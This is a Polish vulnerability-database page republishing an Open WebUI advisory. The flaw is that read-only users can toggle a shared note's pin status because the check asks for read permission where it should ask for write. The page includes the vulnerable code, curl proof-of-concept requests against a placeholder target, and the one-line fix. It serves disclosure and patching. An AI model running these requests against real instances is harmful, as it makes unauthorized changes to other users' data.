Niska

Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)

  • Ujawniono: 14.05.2026
  • Aktualizacja: 11.10.2026 14:17

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

python
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)
    
    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

python
async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup:

  1. UserA creates a note
  2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

bash
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result:

  • Step 1: UserB reads note (READ) -> 200 OK ✓
  • Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
  • Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
  • Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

python
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) open-webui < 0.9.3 0.9.3

Odnośniki

Ocena CVSS 3.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Słabość (CWE)
CWE-863
Platforma
Python (PyPI)
Paczka
open-webui
Ujawniono
14.05.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2745 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-jx2x-j75f-xq3j - CC BY 4.0

Historia podatności: open-webui

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (161) w archiwum
Wszystkich wpisów
161
Pierwsza → ostatnia
08.2024 09.2026
Bez poprawki
11
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 77
  • Średnia 75
  • Niska 8

Ujawnienia w latach

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Istotność:
  1. Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access) ten wpis
    Niska · 3.5 CVE-2026-45316 < 0.9.3 0.9.3
  2. Wysoka · 8.7 CVE-2026-70492 >= 0.10.0, < 0.11.0 0.11.0
  3. Wysoka · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  4. Wysoka · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  5. Wysoka · 7.3 CVE-2026-26192 < 0.7.0 0.7.0
  6. Wysoka · 7.6 CVE-2026-54013 < 0.9.6 0.9.6
  7. Wysoka · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  8. Wysoka · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
Pokaż więcej (20) Widać 41 z 79

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.